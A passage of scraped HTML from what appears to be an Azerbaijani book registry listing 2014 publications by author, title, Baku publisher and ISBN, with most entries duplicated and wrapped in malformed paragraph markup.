Ya var,ya yox. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267426</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Heminquey, E. Ya var,ya yox. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267426</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Henri , O . Hekayələr&nbsp; .&nbsp; Bakı :&nbsp; Azərnəşr , 2013 . ISBN&nbsp; :&nbsp; 9789952820232</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Henri, O. Seçilmiş hekayələr. Bakı: Altun kitab nəşriyyatı, 2014. ISBN: 978 9952241778</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Henri, O. Seçilmiş hekayələr. Bakı: Altun kitab nəşriyyatı, 2014. ISBN: 978 9952241778</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hesse.H.&nbsp; Muncuq oyunu . Bakı : Qanun , 2014 .&nbsp; ISBN : 9789952268928</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Həmidova, Ş. XVIII əsrin ikinci yarısında Azərbaycan-Gürcüstan münasibətləri tarixindən. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495133</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Həmidova, Ş. XVIII əsrin ikinci yarısında Azərbaycan-Gürcüstan münasibətləri tarixindən. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495133</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Həsənli, A. Müasir şəraitdə Azərbaycanda dini-mədəni dəyərlərin inkişaf xüsusiyyətləri. Bakı: Nur Art nəşriyyat, 2014. ISBN: 9789952824070</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Həsənli, A. Müasir şəraitdə Azərbaycanda dini-mədəni dəyərlərin inkişaf xüsusiyyətləri. Bakı: Nur Art nəşriyyat, 2014. ISBN: 9789952824070</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Həsənzadə, N. Ömür yarı sual,yarı imtahan... Bakı: OL MMC, 2014. ISBN: 9789952494099</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Həsənzadə, N. Ömür yarı sual,yarı imtahan... Bakı: OL MMC, 2014. ISBN: 9789952494099</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hill, N. Düşün və varlan. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266627</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hill, N. Düşün və varlan. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266627</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hollovey, D .&nbsp; Beriya&nbsp; . Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268607</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynbəyli, E. Aişə: Moskvada məhəbbət romanı. Bakı: Qələm, 2014. ISBN: 9789952468328</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynbəyli, E. Aişə: Moskvada məhəbbət romanı. Bakı: Qələm, 2014. ISBN: 9789952468328</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynbəyli, E. Azıx. Bakı: Qələm, 2014. ISBN: 9789952468571</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynbəyli, E. Azıx. Bakı: Qələm, 2014. ISBN: 9789952468571</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynbəyli, E. Balıq adam. Bakı: Qələm, 2014. ISBN: 9789952468502</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynbəyli, E. Balıq adam. Bakı: Qələm, 2014. ISBN: 9789952468502</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynbəyli, E. Yovşan qağayılar. Bakı: Qələm, 2014. ISBN: 9789952468526</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynbəyli, E. Yovşan qağayılar. Bakı: Qələm, 2014. ISBN: 9789952468526</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynov, Ə. H. Yol hərəkəti haqqında Azərbaycan Respublikası qanununun kommentariyası. Bakı: DİGESTA nəşriyyatı, 2014. ISBN: 9789952822656</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hüseynov, Ə. H. Yol hərəkəti haqqında Azərbaycan Respublikası qanununun kommentariyası. Bakı: DİGESTA nəşriyyatı, 2014. ISBN: 9789952822656</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">II International Scientific conference of young researchers. Baku: Qafqaz University, 2014. ISBN: 9789952468304</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">II International Scientific conference of young researchers. Baku: Qafqaz University, 2014. ISBN: 9789952468304</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İlyas Əfəndiyev: Biblioqrafiya. Bakı: Azərbaycan Milli Kitabxanası, 2014. ISBN: 9789952 460438</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İlyas Əfəndiyev: Biblioqrafiya. Bakı: Azərbaycan Milli Kitabxanası, 2014. ISBN: 9789952 460438</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İmran, G. Məni kim öldürdü ?! Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266887</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İmran, G. Məni kim öldürdü ?! Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266887</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İnam ata: on kutsal bitiq. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268263</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İnam ata: on kutsal bitiq. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268263</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN agentliyi 2014</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İsgtəndərzadə ,&nbsp; M .&nbsp; Politologiyanın əsasları&nbsp; . Bakı : Kitab klubu&nbsp; , 2012 . ISBN&nbsp; :&nbsp; 9789952404319</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İsmayıl&nbsp; İBn&nbsp; İbrahim əl-Buxari&nbsp; . Tam Səhih- Buxari&nbsp; .&nbsp; Bakı : İpəkyolu&nbsp; , 2014 . ISBN&nbsp; :&nbsp; 9789952822175</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İsmayıl, M. Sevgi şeirləri. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266849</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İsmayıl, M. Sevgi şeirləri. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266849</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İstiqlal 1918-28 mayıs-1919&nbsp; .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268430</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İstiqlal: 1918-28 Mayıs – 1919. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268430</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İstiqlal: 1918-28 Mayıs – 1919. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268430</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İşığa doğru . Bakı : Qanun ,&nbsp; 2014 . ISBN : 978-9952-26-924-6</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İşığa doğru məqalələr toplusu&nbsp; . Bakı :&nbsp; Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp;&nbsp; 9789952269246</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kafka, F. Vəsiyyət. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267266</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kafka, F. Vəsiyyət. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267266</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kazımlı, X. Mexico - ochenta y eis. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267914</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kazımlı, X. Mexico - ochenta y eis. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267914</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kərimov , E . Azərbaycan Korporativ (Şirkətlər ) hüququ&nbsp; .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268393</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kılınç, M. Qadınlar nə istəyir? Kişilər nə verir? Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267679</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kılınç, M. Qadınlar nə istəyir? Kişilər nə verir? Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267679</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kinq , S . 11/22/63 roman . Bakı :&nbsp; Qanun&nbsp; , 2014 . ISBN&nbsp; :&nbsp; 9789952268935</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kinq, S. Yaşıl mil. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267051</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kinq, S. Yaşıl mil. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267051</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kitabı necə satmalı&nbsp; .&nbsp; Bakı :&nbsp; Kitab klubu , 2003 . ISBN&nbsp; :&nbsp;&nbsp; 9789952808704</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kiyosaki ,R. T. Varlı uşaq, ağıllı uşaq . Bakı : Qanun, 2014 . ISBN : 9789952268959</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kiyosaki, R . T .&nbsp; Pul axını kvadrantı&nbsp; . Bakı : Qanun&nbsp; , 2014. ISBN&nbsp; : 9789952268836</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Köçəri, İ. Müharibə yeniyetməsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266863</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Köçəri, İ. Müharibə yeniyetməsi. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266863</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi , A .&nbsp; On Zənci balası .&nbsp; Bakı : Qanun , 2014 .&nbsp; ISBN&nbsp; :&nbsp; 9789952268423</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi , A . Ölümlə görüş .&nbsp; Bakı : Qanun , 2014 .&nbsp; ISBN&nbsp; :&nbsp; 9789952268478</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. “Şərq ekspresi”ndə qətl. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267457</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. “Şərq ekspresi”ndə qətl. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267457</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Buludların üzərində ölüm. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268126</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Buludların üzərində ölüm. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268126</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Əlifba sırası ilə qətl. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268072</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Əlifba sırası ilə qətl. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952268072</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Mavi qatarın sirri. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266597</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Mavi qatarın sirri. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266597</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Puaro istintaq aparır. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266603</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Puaro istintaq aparır. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266603</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Rocer Ekroydun qətli. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266610</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Rocer Ekroydun qətli. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266610</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Rocer Endhauzun sirri. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266665</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kristi, A. Rocer Endhauzun sirri. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266665</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kulagin,V.M.&nbsp; Müasir Beynəlxalq təhlükəsizlik . Bakı : Tuna Co , 2015 . ISBN : 9789952502015</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kundera, M. Varlığın dözülməz yüngüllüyü. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267181</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kundera, M. Varlığın dözülməz yüngüllüyü. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267181</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kuper, C. F. Sonuncu Mogikan. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952242003</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kuper, C. F. Sonuncu Mogikan. Bakı: Altun Kitab nəşriyyatı, 2014. ISBN: 9789952242003</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kuper, C. F. Sonuncu Mogikan. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952265286</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Kuper, C. F. Sonuncu Mogikan. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952265286</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qaradərəli, A. Şəhərcik. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267419</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qaradərəli, A. Şəhərcik. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267419</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qaraqan. Bir milyon dollarım olsaydı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267174</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qaraqan. Bir milyon dollarım olsaydı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267174</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qasımov , Ş . Azərbaycan tarixi dərslik&nbsp; . Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952268584</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qasımov, S. Gecikmiş etiraf. ADMİU nəşriyyatı, 2014. ISBN: 9789952825626</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qasımov, S. Gecikmiş etiraf. ADMİU nəşriyyatı, 2014. ISBN: 9789952825626</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qasımova, T. Qlobal problemlər sosial idarəetmə çərçivəsində. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495287</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qasımova, T. Qlobal problemlər sosial idarəetmə çərçivəsində. Bakı: Elm nəşriyyatı, 2014. ISBN: 9789952495287</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">&nbsp;Qaşqay,O.&nbsp; Pulla alınmış günahlar . Bakı : Qanun , 2014 . ISBN :&nbsp; 9789952269116</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qayıblı, X. Yenə canım söz gəzir. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267402</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qayıblı, X. Yenə canım söz gəzir. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952267402</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qeys , R.&nbsp; Pul məktəbi&nbsp; . Bakı : Kitab klubu , 2013 . ISBN&nbsp; :&nbsp; 9789952820256</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qədim , S . Əcəl düyünü&nbsp; .&nbsp; Bakı : Qanun , 2014 .&nbsp; ISBN&nbsp; :&nbsp; 9789952268409</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qədirzadə, S. 46 bənövşə. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266740</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qədirzadə, S. 46 bənövşə. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266740</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qladuell , M . David vo Qoliaf .&nbsp; Bakı : Qanun , 2014 . ISBN&nbsp; :&nbsp; 9789952268768</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qloballaşma prosesində Qafqaz və Mərkəzi Asiya. Bakı: Qafqaz Universiteti, 2014. ISBN: 9789952468328</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qloballaşma prosesində Qafqaz və Mərkəzi Asiya. Bakı: Qafqaz Universiteti, 2014. ISBN: 9789952468328</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qocayev, E. Karyera bələdçisi: düzgün peşə seçimi və uğurlu iş axtarışı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266979</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qocayev, E. Karyera bələdçisi: düzgün peşə seçimi və uğurlu iş axtarışı. Bakı: Qanun nəşriyyatı, 2014. ISBN: 9789952266979</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qolden , A . Geyşanın memuarları . Bakı :&nbsp; Qanun , 2014 . ISBN&nbsp; :&nbsp;&nbsp; 9789952268232</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Qonçarov ,İ . A . Oblomov . Bakı : Qanun, 2014 . ISBN: 